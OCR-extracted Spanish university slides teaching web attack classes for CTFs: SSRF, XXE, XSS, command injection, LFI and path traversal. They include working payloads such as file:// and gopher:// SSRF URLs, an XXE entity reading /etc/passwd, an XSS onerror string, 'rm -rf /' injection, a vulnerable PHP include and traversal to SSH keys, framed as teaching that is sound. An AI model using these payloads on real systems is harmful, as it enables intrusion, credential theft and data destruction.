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. ¢, Qué estoy haciendo?
. SSRF

. XXE

. XSS y HTML Injection

. Command injection
. LFl y Path Traversal
. La BIBLIA otra vez
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¢, Qué puedo hacer?

READ WRITE EXECUTE
« Cookie de alguien « Valor de la base de datos « Comandos en el sistema
« Caodigo fuente de alguna pagina < Fichero de configuracion « Ciertas funciones de algunas
« Valor de la base de datos aplicaciones

» Fichero /flag
* Fichero /etc/passwd
» Fichero /home/user/.ssh/id_rsa

Alejandro Cruz, Raul Martin, Andrea Oliva y Rubén Santos



.
vis

Liniversidad
Rey |uan Carlos

¢ Quién soy?

« Www-data
* juanito

* root

e admin

B - . : .
¢, Qué permisos tiene juanito?

¢ Y www-data?
¢, Y si soy root y no lo sabia?
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¢En qué consiste?

GET Nuri=http://google.com/ HTTP/1. 1 ,,f "—\ \ W\

Host: example.com / : GET / HTTP/1.1
\ Host: google.com

' \\

\ \
‘Ads the response - éf,

to attacker

Response from google com

Fuente: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/server-side-request-forgery-takes-advantage-vulnerable-app-servers/
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¢En qué consiste?

El servidor hace una peticion HTTP a nuestra URL

ANCY DEVS

Upload File Check Website Check File

Check Website Status

Check Website to check. Example: https://bitupalicate.com

Ejemplo: FancyDevs, BitUp 2021
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¢En qué consiste?

El servidor hace una peticion HTTP a nuestra URL

ANCY DEVS

Upload File Check Website Check File

The URL responded with:
"og: http://ogp.me/ns#" xml:lang="es-es" lang="es-es" > <link rel="stylesheet" href="/templates/rt_hadron/fa/css/all.min
="https://use.fontawesome.com/releases/v5.6.1/css/all.css"> <head> <meta name="viewport" content="width=device-width, ini
- <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta name="keywords" content="universidad public:
arlos, etsii, escet, fcjs, fcct, fcs, campus alcorcén, campus moéstoles, campus vicdalvaro, campus fuenlabrada, universidai
t="Universidad Rey Juan Carlos de Madrid" /> <title>Inicio - Universidad Rey Juan Carlos</title> <link href="https://www

L 1 F R TY £ L1 - Ll S~ . I ' £~ u s L1 M Y.l

Ejemplo: FancyDevs, BitUp 2021
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URL: Uniform Resource Locator

forma intuitiva, jpero qué formato siguen?

eyt vt skey2=value2 [SOTENRETEIRTREDOEURERE

Parameters L}Anchor

S/docs/Learn/Common_questions/What_is_a_URL
Ejemplos:

» https://google.es/search?g=como+ganar+dinero
 ftp://ftp.funet.fi/pub/doc/rfc/rfc1738.txt

- file:///etc/passwd _

* gopher://172.0.0.1:6379/_%2A3%0D

Ah shit, here we go again.

« mailto:raul.martin@urjc.es?subject=Que+aula+es

Alejandro Cruz, Raul Martin, Andrea Oliva y Rubén Santos
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Lectura arbitraria de ficheros

Check Website Status
Check file:///etc/passwd

The URL responded with:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:1p:/var/spool/lpd:/usr
/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System
Cadmin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false
redis:x:101:101::/var/lib/redis:/bin/false
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Conectandonos a servicios privados

I
Detras de la pagina web C 1l @
suelen existir otros =] 4 F é C
- 1 r ar ‘
servicios a los que no ) AN ) | @)

solemos poder acceder

directamente:

« Bases de datos
« Endpoints de
configuracion

@_

TIVM 3HH

X

Fuente imagen: https://portswigger.net/web-security/images/server-side%20request%20forgery.svg
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Protocolo Gopher:
Nos permite
establecer
conexiones TCP en
cualquier puerto

Ejemplos de servicios que
podrian existir:

* Redis

« MySQL

* PostgreSQL

* Etc.

Conectandonos a servicios privados

+ gopherus --exploit mysql

Give MySQL username: SSRF
Give query to execute: show databases;

Your gopher link is ready to do SSRF :

gopher://127.8.68.1:3306/ %a3%00%00%01%85%a6%kff¥01%00%00%00%01%21%00%00%00%(

OK6dE 7oK T IR T 16 CK ST 6 k61K TAR69KTE6HR6 SRS TR TORE1KTIRNTINTTRE6TRT2X64X00%66%03%

2K6aK 7% 73N T 1 X6 cKO4ARS TR TON69K64KO5%32%3THI2HISHISHO U5 FRE3IR6cK69%65%6eKT4%

6%78%38%36%5T%36%34%0CKk7TONT2H6TH6THT2%61%6d%5%6e%61%6d%65%05K6d%TI%T 3%7 1%4
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Xml eXternal Entit

Es una vulnerabilidad que ocurre cuando un parser de XML acepta
entidades externas. Un atacante puede intervenir su contenido para leer
archivos del file system o efectuar atagues como un SSRF, entre otros.

L---0

— ¢, (o)
Lo HI1--- 0

fetc/passwd K3 I | A
/etc/passwd <

Filesystem

Lok

| XML PARSER |

Fuente imagen: https://www.cronup.com/que-son-y-como-prevenir-los-ataques-xxe/
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Xml eXternal Entit

<?xml version="1"7?>

<!DOCTYPE stockCheck [ <!ENTITY

xxe SYSTEM "file:///etc/passwd"> ]>
<stockcheck}<product1d>m

</productId></stockCheck \

root:x:0:0:root: froot: /bin/bash
dasmon:x:1:1:daemeon: fusr/sbin: /bin/sh
bin:x:2:2:bin:/bin: /bin/sh
sys:x:3:3:sys:fdev:fbinfsh
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:60:games: /fusr/games: /bin/sh
man:x:6:12:man: fvar/cache/man: /bin/sh
F lp:x:?:?:lp:fvarfspoolflpd:fhinfsh
mail:x:8:8:mail: /var/mail: /bin/=h
Y news:x:9:9:news: /var/spool/news: /bin/sh
uucp:x:lﬂ:lﬂ:uucp:fvarfspoolfuucp:fbinfsh

(* sensitive data) proxy:x:13:13:proxy: /bin: /bin/sh
A www—data:x:33:33 :www—data: /var/www: /bin/sh

|: “ backup:x:34:34:backup: /var/backups: /bin/sh

LAB: https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf
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¢En qué consiste?

FourOrFour

paco Search

src="/static/logos/levell.png">

method="GET">
id="query" name="query">
id="button" type="submit" value="Search">

Sorry, no results were found for paco. Try again

FourOrFour

src="/static/logos/levell.png">
>

Sorry, no results were found for <b>paco</b>.
<a href="7">Try again</a>.

Reto propuesto: https://xss-game.appspot.com/levell
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¢ En qué consiste?

Insertamos contenido adicional FourOrFour

FourOrFour

éFé.;"H.t.fbs://i.imgur.
com/Hr3kfek.png"> py

4 Search Sorry, no results were found for paco

src="/static/logos/levell.png">
< >
Sorry, no results were found for

<b>paco< src="https://i.imgur.com/Hr3kfek.png"></b>.
<a href="?">Try again</a>.
>
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¢ En qué consiste?

Cuando podemos ejecutar codigo Javascript,
hablamos de XSS (Cross Site Scripting)

paco<img src/onerror=alert()>

@ Xss-game.appspot.com

Congratulations, you executed an alert:

undefined

You can now advance to the next level.
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* Vulnerabilidad web que permite al atacante ejecutar comandos en
el sistema

« Si podemos ejecutar (X) = posiblemente podamos leer y escribir

« Hay que saber manejarse con los comandos (bash o powershell).
Sorry not sorry

$ rm -rf /
___,_A@_éc-—ﬁ“‘-'-“{..l )
N/

&\

—

Alejandro Cruz, Raul Martin, Andrea Oliva y Rubén Santos
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B**ch please

fichero mbre}").readlines()

= system("cat {nombre}
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B**ch please

fichero = open("medaigual; rm -rf /").readlines()

Petara - No hay ningun archivo
llamado “medaigual; rm —rf /”

nombre = "medaigual; rm -rf /"

fichero = system("cat medaigual; rm -rf /")

Espero que tengas Backups...

Alejandro Cruz, Raul Martin, Andrea Oliva y Rubén Santos



Eiemplos para listar un directorio

pepe; Is
pepe | Is
pepe || Is
pepe && Is
$(Is)
\\~ Is’

fichero = system("echo {nombre}")
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" M Creamos archivo vulnerable

http://localhost:80 — para
ver si Apache esta corriendo
correctamente (en mi caso
This is the default welcome page used to test ti .

es la IP del servidor)

Ubuntu systems. It is based on the equivalent g
derived. If you can read this page, it means tha
You should replace this file (located at /var/w

server.

If you are a normal user of this web site and dc

itm e mitrrAanthr ioaavrailahlhla AiiAa A raalRbAR Al -~

rsgbengi@igris:/var/www/html$ cd Creamos un fichero

rsgbengi@igris:~$ cd /var/www/html/ de ejemplo para
rsghengi@igris:/var/www/html$ touch example.php[] ilustrar la

vulnerabilidad

Alejandro Cruz, Raul Martin, Andrea Oliva y Rubén Santos
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Picamos un poco de codiqgo

$filename va a ser la

variable que introduzcamos

[l¢filename _GET[ 13 para visualizar un archivo
include( $filename);

La funcion include es la mas
clasica para poder realizar LFI
(en este caso se mostraria el
archivo de $filename

Lo que se estableceria como
$filename seria a lo que
igualemos ?file

Alejandro Cruz, Raul Martin, Andrea Oliva y Rubén Santos
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Mostramos la funcidon de include

rsgbengi@igris:/var/www/html$ touch visualizr.txt||

Creamos el archivo en la ruta

v r de Apache y probamos a
sto es una prueba de visualizaciof| visualizarlo

. ) O A 192.168.253.135

O malware 1A O mysql O general [Oserver £ MostVisited [OJctf [Oprogramacion [ User Commun

esto es una prueba de visualizacion

Alejandro Cruz, Raul Martin, Andrea Oliva y Rubén Santos
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nodriamos mostrar gue nos interese?

< 293133 Como atacantes nos puede interesar el fichero
letc/passwd. Si queremos verlo de mejor forma se
puede hacer uso de ctrl+u

OO malware [J1a O mysql (OJgeneral [Jserver #£F Most Visited [DJctf [

root:x:0:0:root:/root:/bin/bash daemon:x:1:1
/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
/nologin sync:x:4:65534:sync:/bin:/bin/sync

fusr/sbin./nologin man:x:6:1 Z:man:fvar/cach ] 3 view-source:http://192.168.253.135/example.php?file=/etc/
lp:X:7:7:lp:lvarf'spOolﬂpd:fusrfsbjn/nologin T malware [J1a (O mysgl (O general [(Jserver #F MostVisited [Jctf [Oprogramacion [JUser
/nologin news:xX:9:9:news:/var/spool/news:/ Gaemon: w111 Gasnon: /uer /Sbin: /usr/sbin/nologin
B bin:x:2:2:bin:/bin:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbhir sys:x:3:3:sys:/dev:/usr/sbin/nologin
) sync:*:?:§55?4:syn?:fhln:fhln{sync ) .
/usr/sbin/nologin www-data:x:33:33:www- Ban:x.5:12:nan:/var /cache/man: /usr/<p1n/nologin
1p:x:7:7:1p: s/ f 1/1pd: s/ Ssbinsnologi
backup:x:34;34:backup:jvarfbackups:jusrfsl mgﬁ:x:3:aF:}maﬁrxigggmaig:fugf;s.ziﬁ?ngfaggﬁn
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
Manager:/var/list:/usr/sbin/nologin irc:x:39: Proxy xi13: 35pr oxy  /bins usr /sbun/nalogin o
. B wiw-data:x:33:33 :www-data:/var/wew: /usr/sbin/nologin
fn()logln gnatS:X:41:41:GnatS Bug—Rep(}rtmg backup:x:34:34:backup:/var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x%:39:39:ircd:/var/run/ircd: /usr/sbin/nologin

gnats:x:41:41:6Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534: 65534 :nobody : /nonexistent: fusr/shin/nologin
systemd-network:x:100:102:systemd Network Management,,, :/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,, :/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106: : /nonexistent: /usr/sbin/nologin

syslog:x:104:110: :/homes/sysloq: /usr/sbin/nologin

_apt:x:185:65534: :/nonexistent:/usr/shin/nologin

tss:x:106:111:TPM software stack,,, :/var/lib/tpm:/bin/Talse

uuidd:x:107:112: :/runfuuidd: fusr/sbin/nologin

topdump:x:108:113:: /nonexistent:/usr/sbin/nologin

landscape:x:109:115: :/var/lib/landscape: fusr/sbin/nologin
pollinate:x:116:1::/var/cache/pollinate:/bin/false

usbmux:x:111:46:usbmux daemon, ,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534: :/run/sshd: fusr/sbin/nologin

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rsgbengi:x:1000:1000:rsgbengli: /home/rsgbengli: /bins/bash

1xd:x:998:100:: /var/snap/lxd/common/1xd: /bin/Talse

mysqQl:x:113:118:MySQL Server,,, :/nonexistent:/bin/false
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"~ Contramedidas puestas por el desarrollador

El desarrollador establece que solo
filename = %_GET[ 13 se pueda acceder a los archivos
includef [. ¢filename); dentro de /var/www/html. Podemos
seguir visualizando el

fichero visualizar.txt, pero no
/etc/passwd

O A 192.168.253.135
L C @ O A 192.168.253.135

Omalware [JI1A O mysgl [3Jgeneral [OJserver %t MostVisited [OJctf [3Jprogramacion [

(O malware [(O1a [0 mysgl [Jgeneral [(Jserver #F Most Visited [Jctf [3Jprogr

esto es una prueba de visualizacion
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rsghengi@igris:/var/www/html$ cat ../../../../../../etc/passwd
root: root:/root:/bin/bash
daemon 1:1:daemon: fusr/sbin:/usr/sbin/nologin

pin: /bin: /fusr/sbin/nologin

sys:/dev: fusr/sbin/nologin

534:sync:/bin:/bin/sync

12:man:/var/cache/man: /usr/sbin/nologin
¢:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
:B:mail:/var/mail: fusr/sbin/nologin

5:X%:9:9:news:/var/spool/news: fusr/sbin/nologin

(3 view-source:http://192.168.253.135/example.php?file=../../../../.././etc/passwd

root:x:@:0:root:/root:/bins/bash
daemon:x:1:1:daemon: /usr/sbin: fusr/sbin/nologin
bim:x:2:2:bin:/bin:fusrs/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbins/nologin
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man: /var/cache/man: /usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd: fusr/shin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nologin
uucp:x:16:10:uucp: /var/sspoolSuucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
Wiww-data:x:33:33 www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologi

Directory Path Traversal

cat —» Comando para visualizar un
archivo
../ — Directorio anterior

cat + ../ (6 veces) — Para poder
mostrar el fichero /etc/passwd

Imitamos este comportamiento
en la pagina web de tal manera
gue ahora si se puede
visualizar /etc/passwd
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. Donde suelen estar las flags?

Normalmente si estamos ante un LFI, lo que se suele buscar son las
claves privadas de ssh poder acceder a la maquina sin proporcionar
contrasena.

Ruta ~/.ssh

O id_rsa.pub @ known_hosts [@ known_hosts.old

File: id_rsa

FfYSFH9
LOR)
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Con todos ustedes...

LA BIBLIA

————

PAYLOADS
AL L
THE THINGS
Fentest and Red Taam Chestaheet

©Flower

swisskyrepo/PayloadsAllITheThings: A list of useful payloads and
bypass for Web Application Security and Pentest/CTF (github.com)
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